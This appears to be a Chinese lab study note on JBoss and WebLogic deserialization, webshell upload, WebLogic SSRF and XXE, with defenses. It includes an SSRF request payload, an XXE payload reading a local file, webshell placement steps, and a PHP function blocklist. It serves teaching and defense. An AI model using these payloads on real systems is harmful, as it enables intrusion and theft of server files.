一.本文介绍
1、本文介绍boss反序列化合webshell、Weblogic反序列化、文件上传漏洞实验、反序列化及命令执行防范方法、xxe漏洞利用条件、利用实验、防范方法。
2、环境准备:Weblogic、Jboss。
二.学习步骤
1、jboss反序列化及获取webshell

文件管理切换到:C:/jboss/common/deploy/jmx-console.war,然后上马。浏览器访问:http://192.168.1.224:888/jmx-console/whoami.jsp

2、默认端口号
jboss:8080、Weblogic:7001、redis:6379
3、Weblogic反序列化(CVE-2018-2628)、文件上传漏洞实验(CVE-2018-2894):


Weblogic默认路径:
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\tmp\WSTestPageWorkDir
我们改成以下路径
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wstestclient\i7n5e1\war\css


4、写出Weblogic ssrf漏洞利用过程
SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp;
Payload: ?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
过程:发送payload,然后根据回显进行渗透,如果装了UDDI,则可可能泄露内网网段及IP;当获取到IP后,利用shell进行URL编码后放到ssrf的域名后面,发送从而进行(服务如:redis)利用。
5、写出反序列化及命令执行防范方法
1. 升级中间件
2. 严格控制传入变量,严谨使用魔法函数
3. 安全配置好php相关参数
通过Php配置文件里面有个disable_functions = 配置,这个禁止某些php函数,
例如:disable_functions =system,passthru,shell_exec,exec,popen
6、写出xxe漏洞利用条件
libxml2.9.1及以后,windows下使用的是php5.2(libxml
Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中。
7、完成xxe漏洞利用实验
有回显内部调用:

没回显:利用报错


8、写出xxe漏洞利用payload
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///C://1.txt">
]>
<x>&f;</x>
9、写出xxe漏洞防范方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
setFeature("http://xml.org/sax/features/external-general-entities",false)
setFeature("http://xml.org/sax/features/external-parameter-entities",false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二:手动黑名单过滤(不推荐)
过滤关键词:<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
网友评论